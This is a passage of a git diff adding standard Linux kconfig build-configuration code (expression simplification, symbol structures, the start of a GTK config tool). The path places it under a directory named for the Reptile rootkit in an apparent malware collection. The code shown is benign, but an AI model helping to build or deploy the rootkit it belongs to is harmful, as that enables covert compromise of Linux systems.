*sym2; + + if (expr_eq(e1, e2)) + return expr_copy(e1); + if (e1->type != E_EQUAL && e1->type != E_UNEQUAL && e1->type != E_SYMBOL && e1->type != E_NOT) + return NULL; + if (e2->type != E_EQUAL && e2->type != E_UNEQUAL && e2->type != E_SYMBOL && e2->type != E_NOT) + return NULL; + if (e1->type == E_NOT) { + tmp = e1->left.expr; + if (tmp->type != E_EQUAL && tmp->type != E_UNEQUAL && tmp->type != E_SYMBOL) + return NULL; + sym1 = tmp->left.sym; + } else + sym1 = e1->left.sym; + if (e2->type == E_NOT) { + if (e2->left.expr->type != E_SYMBOL) + return NULL; + sym2 = e2->left.expr->left.sym; + } else + sym2 = e2->left.sym; + if (sym1 != sym2) + return NULL; + if (sym1->type != S_BOOLEAN && sym1->type != S_TRISTATE) + return NULL; + + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_yes)) + // (a) && (a='y') -> (a='y') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_no) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_no)) + // (a) && (a!='n') -> (a) + return expr_alloc_symbol(sym1); + + if ((e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_mod)) + // (a) && (a!='m') -> (a='y') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if (sym1->type == S_TRISTATE) { + if (e1->type == E_EQUAL && e2->type == E_UNEQUAL) { + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + sym2 = e1->right.sym; + if ((e2->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e2->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + if (e1->type == E_UNEQUAL && e2->type == E_EQUAL) { + // (a='b') && (a!='c') -> 'b'='c' ? 'n' : a='b' + sym2 = e2->right.sym; + if ((e1->right.sym->flags & SYMBOL_CONST) && (sym2->flags & SYMBOL_CONST)) + return sym2 != e1->right.sym ? expr_alloc_comp(E_EQUAL, sym1, sym2) + : expr_alloc_symbol(&symbol_no); + } + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_yes))) + // (a!='y') && (a!='n') -> (a='m') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_mod); + + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_yes && e2->right.sym == &symbol_mod) || + (e1->right.sym == &symbol_mod && e2->right.sym == &symbol_yes))) + // (a!='y') && (a!='m') -> (a='n') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_no); + + if (e1->type == E_UNEQUAL && e2->type == E_UNEQUAL && + ((e1->right.sym == &symbol_mod && e2->right.sym == &symbol_no) || + (e1->right.sym == &symbol_no && e2->right.sym == &symbol_mod))) + // (a!='m') && (a!='n') -> (a='m') + return expr_alloc_comp(E_EQUAL, sym1, &symbol_yes); + + if ((e1->type == E_SYMBOL && e2->type == E_EQUAL && e2->right.sym == &symbol_mod) || + (e2->type == E_SYMBOL && e1->type == E_EQUAL && e1->right.sym == &symbol_mod) || + (e1->type == E_SYMBOL && e2->type == E_UNEQUAL && e2->right.sym == &symbol_yes) || + (e2->type == E_SYMBOL && e1->type == E_UNEQUAL && e1->right.sym == &symbol_yes)) + return NULL; + } + + if (DEBUG_EXPR) { + printf("optimize ("); + expr_fprint(e1, stdout); + printf(") && ("); + expr_fprint(e2, stdout); + printf(")?\n"); + } + return NULL; +} + +static void expr_eliminate_dups1(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + struct expr *tmp; + + if (e1->type == type) { + expr_eliminate_dups1(type, &e1->left.expr, &e2); + expr_eliminate_dups1(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_eliminate_dups1(type, &e1, &e2->left.expr); + expr_eliminate_dups1(type, &e1, &e2->right.expr); + return; + } + if (e1 == e2) + return; + + switch (e1->type) { + case E_OR: case E_AND: + expr_eliminate_dups1(e1->type, &e1, &e1); + default: + ; + } + + switch (type) { + case E_OR: + tmp = expr_join_or(e1, e2); + if (tmp) { + expr_free(e1); expr_free(e2); + e1 = expr_alloc_symbol(&symbol_no); + e2 = tmp; + trans_count++; + } + break; + case E_AND: + tmp = expr_join_and(e1, e2); + if (tmp) { + expr_free(e1); expr_free(e2); + e1 = expr_alloc_symbol(&symbol_yes); + e2 = tmp; + trans_count++; + } + break; + default: + ; + } +#undef e1 +#undef e2 +} + +static void expr_eliminate_dups2(enum expr_type type, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + struct expr *tmp, *tmp1, *tmp2; + + if (e1->type == type) { + expr_eliminate_dups2(type, &e1->left.expr, &e2); + expr_eliminate_dups2(type, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_eliminate_dups2(type, &e1, &e2->left.expr); + expr_eliminate_dups2(type, &e1, &e2->right.expr); + } + if (e1 == e2) + return; + + switch (e1->type) { + case E_OR: + expr_eliminate_dups2(e1->type, &e1, &e1); + // (FOO || BAR) && (!FOO && !BAR) -> n + tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); + tmp2 = expr_copy(e2); + tmp = expr_extract_eq_and(&tmp1, &tmp2); + if (expr_is_yes(tmp1)) { + expr_free(e1); + e1 = expr_alloc_symbol(&symbol_no); + trans_count++; + } + expr_free(tmp2); + expr_free(tmp1); + expr_free(tmp); + break; + case E_AND: + expr_eliminate_dups2(e1->type, &e1, &e1); + // (FOO && BAR) || (!FOO || !BAR) -> y + tmp1 = expr_transform(expr_alloc_one(E_NOT, expr_copy(e1))); + tmp2 = expr_copy(e2); + tmp = expr_extract_eq_or(&tmp1, &tmp2); + if (expr_is_no(tmp1)) { + expr_free(e1); + e1 = expr_alloc_symbol(&symbol_yes); + trans_count++; + } + expr_free(tmp2); + expr_free(tmp1); + expr_free(tmp); + break; + default: + ; + } +#undef e1 +#undef e2 +} + +struct expr *expr_eliminate_dups(struct expr *e) +{ + int oldcount; + if (!e) + return e; + + oldcount = trans_count; + while (1) { + trans_count = 0; + switch (e->type) { + case E_OR: case E_AND: + expr_eliminate_dups1(e->type, &e, &e); + expr_eliminate_dups2(e->type, &e, &e); + default: + ; + } + if (!trans_count) + break; + e = expr_eliminate_yn(e); + } + trans_count = oldcount; + return e; +} + +struct expr *expr_transform(struct expr *e) +{ + struct expr *tmp; + + if (!e) + return NULL; + switch (e->type) { + case E_EQUAL: + case E_UNEQUAL: + case E_SYMBOL: + case E_LIST: + break; + default: + e->left.expr = expr_transform(e->left.expr); + e->right.expr = expr_transform(e->right.expr); + } + + switch (e->type) { + case E_EQUAL: + if (e->left.sym->type != S_BOOLEAN) + break; + if (e->right.sym == &symbol_no) { + e->type = E_NOT; + e->left.expr = expr_alloc_symbol(e->left.sym); + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_mod) { + printf("boolean symbol %s tested for 'm'? test forced to 'n'\n", e->left.sym->name); + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_yes) { + e->type = E_SYMBOL; + e->right.sym = NULL; + break; + } + break; + case E_UNEQUAL: + if (e->left.sym->type != S_BOOLEAN) + break; + if (e->right.sym == &symbol_no) { + e->type = E_SYMBOL; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_mod) { + printf("boolean symbol %s tested for 'm'? test forced to 'y'\n", e->left.sym->name); + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + e->right.sym = NULL; + break; + } + if (e->right.sym == &symbol_yes) { + e->type = E_NOT; + e->left.expr = expr_alloc_symbol(e->left.sym); + e->right.sym = NULL; + break; + } + break; + case E_NOT: + switch (e->left.expr->type) { + case E_NOT: + // !!a -> a + tmp = e->left.expr->left.expr; + free(e->left.expr); + free(e); + e = tmp; + e = expr_transform(e); + break; + case E_EQUAL: + case E_UNEQUAL: + // !a='x' -> a!='x' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = e->type == E_EQUAL ? E_UNEQUAL : E_EQUAL; + break; + case E_OR: + // !(a || b) -> !a && !b + tmp = e->left.expr; + e->type = E_AND; + e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); + tmp->type = E_NOT; + tmp->right.expr = NULL; + e = expr_transform(e); + break; + case E_AND: + // !(a && b) -> !a || !b + tmp = e->left.expr; + e->type = E_OR; + e->right.expr = expr_alloc_one(E_NOT, tmp->right.expr); + tmp->type = E_NOT; + tmp->right.expr = NULL; + e = expr_transform(e); + break; + case E_SYMBOL: + if (e->left.expr->left.sym == &symbol_yes) { + // !'y' -> 'n' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_no; + break; + } + if (e->left.expr->left.sym == &symbol_mod) { + // !'m' -> 'm' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_mod; + break; + } + if (e->left.expr->left.sym == &symbol_no) { + // !'n' -> 'y' + tmp = e->left.expr; + free(e); + e = tmp; + e->type = E_SYMBOL; + e->left.sym = &symbol_yes; + break; + } + break; + default: + ; + } + break; + default: + ; + } + return e; +} + +int expr_contains_symbol(struct expr *dep, struct symbol *sym) +{ + if (!dep) + return 0; + + switch (dep->type) { + case E_AND: + case E_OR: + return expr_contains_symbol(dep->left.expr, sym) || + expr_contains_symbol(dep->right.expr, sym); + case E_SYMBOL: + return dep->left.sym == sym; + case E_EQUAL: + case E_UNEQUAL: + return dep->left.sym == sym || + dep->right.sym == sym; + case E_NOT: + return expr_contains_symbol(dep->left.expr, sym); + default: + ; + } + return 0; +} + +bool expr_depends_symbol(struct expr *dep, struct symbol *sym) +{ + if (!dep) + return false; + + switch (dep->type) { + case E_AND: + return expr_depends_symbol(dep->left.expr, sym) || + expr_depends_symbol(dep->right.expr, sym); + case E_SYMBOL: + return dep->left.sym == sym; + case E_EQUAL: + if (dep->left.sym == sym) { + if (dep->right.sym == &symbol_yes || dep->right.sym == &symbol_mod) + return true; + } + break; + case E_UNEQUAL: + if (dep->left.sym == sym) { + if (dep->right.sym == &symbol_no) + return true; + } + break; + default: + ; + } + return false; +} + +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2) +{ + struct expr *tmp = NULL; + expr_extract_eq(E_AND, &tmp, ep1, ep2); + if (tmp) { + *ep1 = expr_eliminate_yn(*ep1); + *ep2 = expr_eliminate_yn(*ep2); + } + return tmp; +} + +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2) +{ + struct expr *tmp = NULL; + expr_extract_eq(E_OR, &tmp, ep1, ep2); + if (tmp) { + *ep1 = expr_eliminate_yn(*ep1); + *ep2 = expr_eliminate_yn(*ep2); + } + return tmp; +} + +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2) +{ +#define e1 (*ep1) +#define e2 (*ep2) + if (e1->type == type) { + expr_extract_eq(type, ep, &e1->left.expr, &e2); + expr_extract_eq(type, ep, &e1->right.expr, &e2); + return; + } + if (e2->type == type) { + expr_extract_eq(type, ep, ep1, &e2->left.expr); + expr_extract_eq(type, ep, ep1, &e2->right.expr); + return; + } + if (expr_eq(e1, e2)) { + *ep = *ep ? expr_alloc_two(type, *ep, e1) : e1; + expr_free(e2); + if (type == E_AND) { + e1 = expr_alloc_symbol(&symbol_yes); + e2 = expr_alloc_symbol(&symbol_yes); + } else if (type == E_OR) { + e1 = expr_alloc_symbol(&symbol_no); + e2 = expr_alloc_symbol(&symbol_no); + } + } +#undef e1 +#undef e2 +} + +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym) +{ + struct expr *e1, *e2; + + if (!e) { + e = expr_alloc_symbol(sym); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + } + switch (e->type) { + case E_AND: + e1 = expr_trans_compare(e->left.expr, E_EQUAL, sym); + e2 = expr_trans_compare(e->right.expr, E_EQUAL, sym); + if (sym == &symbol_yes) + e = expr_alloc_two(E_AND, e1, e2); + if (sym == &symbol_no) + e = expr_alloc_two(E_OR, e1, e2); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + case E_OR: + e1 = expr_trans_compare(e->left.expr, E_EQUAL, sym); + e2 = expr_trans_compare(e->right.expr, E_EQUAL, sym); + if (sym == &symbol_yes) + e = expr_alloc_two(E_OR, e1, e2); + if (sym == &symbol_no) + e = expr_alloc_two(E_AND, e1, e2); + if (type == E_UNEQUAL) + e = expr_alloc_one(E_NOT, e); + return e; + case E_NOT: + return expr_trans_compare(e->left.expr, type == E_EQUAL ? E_UNEQUAL : E_EQUAL, sym); + case E_UNEQUAL: + case E_EQUAL: + if (type == E_EQUAL) { + if (sym == &symbol_yes) + return expr_copy(e); + if (sym == &symbol_mod) + return expr_alloc_symbol(&symbol_no); + if (sym == &symbol_no) + return expr_alloc_one(E_NOT, expr_copy(e)); + } else { + if (sym == &symbol_yes) + return expr_alloc_one(E_NOT, expr_copy(e)); + if (sym == &symbol_mod) + return expr_alloc_symbol(&symbol_yes); + if (sym == &symbol_no) + return expr_copy(e); + } + break; + case E_SYMBOL: + return expr_alloc_comp(type, e->left.sym, sym); + case E_LIST: + case E_RANGE: + case E_NONE: + /* panic */; + } + return NULL; +} + +tristate expr_calc_value(struct expr *e) +{ + tristate val1, val2; + const char *str1, *str2; + + if (!e) + return yes; + + switch (e->type) { + case E_SYMBOL: + sym_calc_value(e->left.sym); + return e->left.sym->curr.tri; + case E_AND: + val1 = expr_calc_value(e->left.expr); + val2 = expr_calc_value(e->right.expr); + return EXPR_AND(val1, val2); + case E_OR: + val1 = expr_calc_value(e->left.expr); + val2 = expr_calc_value(e->right.expr); + return EXPR_OR(val1, val2); + case E_NOT: + val1 = expr_calc_value(e->left.expr); + return EXPR_NOT(val1); + case E_EQUAL: + sym_calc_value(e->left.sym); + sym_calc_value(e->right.sym); + str1 = sym_get_string_value(e->left.sym); + str2 = sym_get_string_value(e->right.sym); + return !strcmp(str1, str2) ? yes : no; + case E_UNEQUAL: + sym_calc_value(e->left.sym); + sym_calc_value(e->right.sym); + str1 = sym_get_string_value(e->left.sym); + str2 = sym_get_string_value(e->right.sym); + return !strcmp(str1, str2) ? no : yes; + default: + printf("expr_calc_value: %d?\n", e->type); + return no; + } +} + +int expr_compare_type(enum expr_type t1, enum expr_type t2) +{ +#if 0 + return 1; +#else + if (t1 == t2) + return 0; + switch (t1) { + case E_EQUAL: + case E_UNEQUAL: + if (t2 == E_NOT) + return 1; + case E_NOT: + if (t2 == E_AND) + return 1; + case E_AND: + if (t2 == E_OR) + return 1; + case E_OR: + if (t2 == E_LIST) + return 1; + case E_LIST: + if (t2 == 0) + return 1; + default: + return -1; + } + printf("[%dgt%d?]", t1, t2); + return 0; +#endif +} + +static inline struct expr * +expr_get_leftmost_symbol(const struct expr *e) +{ + + if (e == NULL) + return NULL; + + while (e->type != E_SYMBOL) + e = e->left.expr; + + return expr_copy(e); +} + +/* + * Given expression `e1' and `e2', returns the leaf of the longest + * sub-expression of `e1' not containing 'e2. + */ +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2) +{ + struct expr *ret; + + switch (e1->type) { + case E_OR: + return expr_alloc_and( + expr_simplify_unmet_dep(e1->left.expr, e2), + expr_simplify_unmet_dep(e1->right.expr, e2)); + case E_AND: { + struct expr *e; + e = expr_alloc_and(expr_copy(e1), expr_copy(e2)); + e = expr_eliminate_dups(e); + ret = (!expr_eq(e, e1)) ? e1 : NULL; + expr_free(e); + break; + } + default: + ret = e1; + break; + } + + return expr_get_leftmost_symbol(ret); +} + +void expr_print(struct expr *e, void (*fn)(void *, struct symbol *, const char *), void *data, int prevtoken) +{ + if (!e) { + fn(data, NULL, "y"); + return; + } + + if (expr_compare_type(prevtoken, e->type) > 0) + fn(data, NULL, "("); + switch (e->type) { + case E_SYMBOL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + break; + case E_NOT: + fn(data, NULL, "!"); + expr_print(e->left.expr, fn, data, E_NOT); + break; + case E_EQUAL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + fn(data, NULL, "="); + fn(data, e->right.sym, e->right.sym->name); + break; + case E_UNEQUAL: + if (e->left.sym->name) + fn(data, e->left.sym, e->left.sym->name); + else + fn(data, NULL, ""); + fn(data, NULL, "!="); + fn(data, e->right.sym, e->right.sym->name); + break; + case E_OR: + expr_print(e->left.expr, fn, data, E_OR); + fn(data, NULL, " || "); + expr_print(e->right.expr, fn, data, E_OR); + break; + case E_AND: + expr_print(e->left.expr, fn, data, E_AND); + fn(data, NULL, " && "); + expr_print(e->right.expr, fn, data, E_AND); + break; + case E_LIST: + fn(data, e->right.sym, e->right.sym->name); + if (e->left.expr) { + fn(data, NULL, " ^ "); + expr_print(e->left.expr, fn, data, E_LIST); + } + break; + case E_RANGE: + fn(data, NULL, "["); + fn(data, e->left.sym, e->left.sym->name); + fn(data, NULL, " "); + fn(data, e->right.sym, e->right.sym->name); + fn(data, NULL, "]"); + break; + default: + { + char buf[32]; + sprintf(buf, "", e->type); + fn(data, NULL, buf); + break; + } + } + if (expr_compare_type(prevtoken, e->type) > 0) + fn(data, NULL, ")"); +} + +static void expr_print_file_helper(void *data, struct symbol *sym, const char *str) +{ + xfwrite(str, strlen(str), 1, data); +} + +void expr_fprint(struct expr *e, FILE *out) +{ + expr_print(e, expr_print_file_helper, out, E_NONE); +} + +static void expr_print_gstr_helper(void *data, struct symbol *sym, const char *str) +{ + struct gstr *gs = (struct gstr*)data; + const char *sym_str = NULL; + + if (sym) + sym_str = sym_get_string_value(sym); + + if (gs->max_width) { + unsigned extra_length = strlen(str); + const char *last_cr = strrchr(gs->s, '\n'); + unsigned last_line_length; + + if (sym_str) + extra_length += 4 + strlen(sym_str); + + if (!last_cr) + last_cr = gs->s; + + last_line_length = strlen(gs->s) - (last_cr - gs->s); + + if ((last_line_length + extra_length) > gs->max_width) + str_append(gs, "\\\n"); + } + + str_append(gs, str); + if (sym && sym->type != S_UNKNOWN) + str_printf(gs, " [=%s]", sym_str); +} + +void expr_gstr_print(struct expr *e, struct gstr *gs) +{ + expr_print(e, expr_print_gstr_helper, gs, E_NONE); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/expr.h b/Linux/Rootkits/Reptile/scripts/kconfig/expr.h new file mode 100644 index 0000000..6d23580 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/expr.h @@ -0,0 +1,238 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#ifndef EXPR_H +#define EXPR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "list.h" +#ifndef __cplusplus +#include +#endif + +struct file { + struct file *next; + struct file *parent; + const char *name; + int lineno; +}; + +typedef enum tristate { + no, mod, yes +} tristate; + +enum expr_type { + E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE +}; + +union expr_data { + struct expr *expr; + struct symbol *sym; +}; + +struct expr { + enum expr_type type; + union expr_data left, right; +}; + +#define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2)) +#define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2)) +#define EXPR_NOT(dep) (2-(dep)) + +#define expr_list_for_each_sym(l, e, s) \ + for (e = (l); e && (s = e->right.sym); e = e->left.expr) + +struct expr_value { + struct expr *expr; + tristate tri; +}; + +struct symbol_value { + void *val; + tristate tri; +}; + +enum symbol_type { + S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER +}; + +/* enum values are used as index to symbol.def[] */ +enum { + S_DEF_USER, /* main user value */ + S_DEF_AUTO, /* values read from auto.conf */ + S_DEF_DEF3, /* Reserved for UI usage */ + S_DEF_DEF4, /* Reserved for UI usage */ + S_DEF_COUNT +}; + +struct symbol { + struct symbol *next; + char *name; + enum symbol_type type; + struct symbol_value curr; + struct symbol_value def[S_DEF_COUNT]; + tristate visible; + int flags; + struct property *prop; + struct expr_value dir_dep; + struct expr_value rev_dep; +}; + +#define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER) + +#define SYMBOL_CONST 0x0001 /* symbol is const */ +#define SYMBOL_CHECK 0x0008 /* used during dependency checking */ +#define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */ +#define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ +#define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ +#define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */ +#define SYMBOL_CHANGED 0x0400 /* ? */ +#define SYMBOL_AUTO 0x1000 /* value from environment variable */ +#define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +#define SYMBOL_WARNED 0x8000 /* warning has been issued */ + +/* Set when symbol.def[] is used */ +#define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */ +#define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */ +#define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */ +#define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */ +#define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */ + +/* choice values need to be set before calculating this symbol value */ +#define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000 + +#define SYMBOL_MAXLENGTH 256 +#define SYMBOL_HASHSIZE 9973 + +/* A property represent the config options that can be associated + * with a config "symbol". + * Sample: + * config FOO + * default y + * prompt "foo prompt" + * select BAR + * config BAZ + * int "BAZ Value" + * range 1..255 + */ +enum prop_type { + P_UNKNOWN, + P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */ + P_COMMENT, /* text associated with a comment */ + P_MENU, /* prompt associated with a menuconfig option */ + P_DEFAULT, /* default y */ + P_CHOICE, /* choice value */ + P_SELECT, /* select BAR */ + P_RANGE, /* range 7..100 (for a symbol) */ + P_ENV, /* value from environment variable */ + P_SYMBOL, /* where a symbol is defined */ +}; + +struct property { + struct property *next; /* next property - null if last */ + struct symbol *sym; /* the symbol for which the property is associated */ + enum prop_type type; /* type of property */ + const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */ + struct expr_value visible; + struct expr *expr; /* the optional conditional part of the property */ + struct menu *menu; /* the menu the property are associated with + * valid for: P_SELECT, P_RANGE, P_CHOICE, + * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */ + struct file *file; /* what file was this property defined */ + int lineno; /* what lineno was this property defined */ +}; + +#define for_all_properties(sym, st, tok) \ + for (st = sym->prop; st; st = st->next) \ + if (st->type == (tok)) +#define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT) +#define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE) +#define for_all_prompts(sym, st) \ + for (st = sym->prop; st; st = st->next) \ + if (st->text) + +struct menu { + struct menu *next; + struct menu *parent; + struct menu *list; + struct symbol *sym; + struct property *prompt; + struct expr *visibility; + struct expr *dep; + unsigned int flags; + char *help; + struct file *file; + int lineno; + void *data; +}; + +#define MENU_CHANGED 0x0001 +#define MENU_ROOT 0x0002 + +struct jump_key { + struct list_head entries; + size_t offset; + struct menu *target; + int index; +}; + +#define JUMP_NB 9 + +extern struct file *file_list; +extern struct file *current_file; +struct file *lookup_file(const char *name); + +extern struct symbol symbol_yes, symbol_no, symbol_mod; +extern struct symbol *modules_sym; +extern struct symbol *sym_defconfig_list; +extern int cdebug; +struct expr *expr_alloc_symbol(struct symbol *sym); +struct expr *expr_alloc_one(enum expr_type type, struct expr *ce); +struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2); +struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2); +struct expr *expr_alloc_and(struct expr *e1, struct expr *e2); +struct expr *expr_alloc_or(struct expr *e1, struct expr *e2); +struct expr *expr_copy(const struct expr *org); +void expr_free(struct expr *e); +int expr_eq(struct expr *e1, struct expr *e2); +void expr_eliminate_eq(struct expr **ep1, struct expr **ep2); +tristate expr_calc_value(struct expr *e); +struct expr *expr_eliminate_yn(struct expr *e); +struct expr *expr_trans_bool(struct expr *e); +struct expr *expr_eliminate_dups(struct expr *e); +struct expr *expr_transform(struct expr *e); +int expr_contains_symbol(struct expr *dep, struct symbol *sym); +bool expr_depends_symbol(struct expr *dep, struct symbol *sym); +struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2); +struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2); +void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2); +struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym); +struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2); + +void expr_fprint(struct expr *e, FILE *out); +struct gstr; /* forward */ +void expr_gstr_print(struct expr *e, struct gstr *gs); + +static inline int expr_is_yes(struct expr *e) +{ + return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes); +} + +static inline int expr_is_no(struct expr *e) +{ + return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no); +} + +#ifdef __cplusplus +} +#endif + +#endif /* EXPR_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/foo.h b/Linux/Rootkits/Reptile/scripts/kconfig/foo.h new file mode 100644 index 0000000..b9cfdf8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/foo.h @@ -0,0 +1,12 @@ +#ifndef __KCONFIG_FOO_H +#define __KCONFIG_FOO_H + +#ifndef __APPLE__ +#include +#endif +#include + +#ifndef PATH_MAX +#define PATH_MAX 1024 +#endif +#endif /* __KCONFIG_FOO_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c new file mode 100644 index 0000000..7cbe68e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/gconf.c @@ -0,0 +1,1542 @@ +/* Hey EMACS -*- linux-c -*- */ +/* + * + * Copyright (C) 2002-2003 Romain Lievin + * Released under the terms of the GNU GPL v2.0. + * + */ + +#ifdef HAVE_CONFIG_H +# include +#endif + +#include +#include "lkc.h" +#include "images.c" + +#include +#include +#include +#include + +#include +#include +#include +#include + +//#define DEBUG + +enum { + SINGLE_VIEW, SPLIT_VIEW, FULL_VIEW +}; + +enum { + OPT_NORMAL, OPT_ALL, OPT_PROMPT +}; + +static gint view_mode = FULL_VIEW; +static gboolean show_name = TRUE; +static gboolean show_range = TRUE; +static gboolean show_value = TRUE; +static gboolean resizeable = FALSE; +static int opt_mode = OPT_NORMAL; + +GtkWidget *main_wnd = NULL; +GtkWidget *tree1_w = NULL; // left frame +GtkWidget *tree2_w = NULL; // right frame +GtkWidget *text_w = NULL; +GtkWidget *hpaned = NULL; +GtkWidget *vpaned = NULL; +GtkWidget *back_btn = NULL; +GtkWidget *save_btn = NULL; +GtkWidget *save_menu_item = NULL; + +GtkTextTag *tag1, *tag2; +GdkColor color; + +GtkTreeStore *tree1, *tree2, *tree; +GtkTreeModel *model1, *model2; +static GtkTreeIter *parents[256]; +static gint indent; + +static struct menu *current; // current node for SINGLE view +static struct menu *browsed; // browsed node for SPLIT view + +enum { + COL_OPTION, COL_NAME, COL_NO, COL_MOD, COL_YES, COL_VALUE, + COL_MENU, COL_COLOR, COL_EDIT, COL_PIXBUF, + COL_PIXVIS, COL_BTNVIS, COL_BTNACT, COL_BTNINC, COL_BTNRAD, + COL_NUMBER +}; + +static void display_list(void); +static void display_tree(struct menu *menu); +static void display_tree_part(void); +static void update_tree(struct menu *src, GtkTreeIter * dst); +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row); +static gchar **fill_row(struct menu *menu); +static void conf_changed(void); + +/* Helping/Debugging Functions */ + +const char *dbg_sym_flags(int val) +{ + static char buf[256]; + + bzero(buf, 256); + + if (val & SYMBOL_CONST) + strcat(buf, "const/"); + if (val & SYMBOL_CHECK) + strcat(buf, "check/"); + if (val & SYMBOL_CHOICE) + strcat(buf, "choice/"); + if (val & SYMBOL_CHOICEVAL) + strcat(buf, "choiceval/"); + if (val & SYMBOL_VALID) + strcat(buf, "valid/"); + if (val & SYMBOL_OPTIONAL) + strcat(buf, "optional/"); + if (val & SYMBOL_WRITE) + strcat(buf, "write/"); + if (val & SYMBOL_CHANGED) + strcat(buf, "changed/"); + if (val & SYMBOL_AUTO) + strcat(buf, "auto/"); + + buf[strlen(buf) - 1] = '\0'; + + return buf; +} + +void replace_button_icon(GladeXML * xml, GdkDrawable * window, + GtkStyle * style, gchar * btn_name, gchar ** xpm) +{ + GdkPixmap *pixmap; + GdkBitmap *mask; + GtkToolButton *button; + GtkWidget *image; + + pixmap = gdk_pixmap_create_from_xpm_d(window, &mask, + 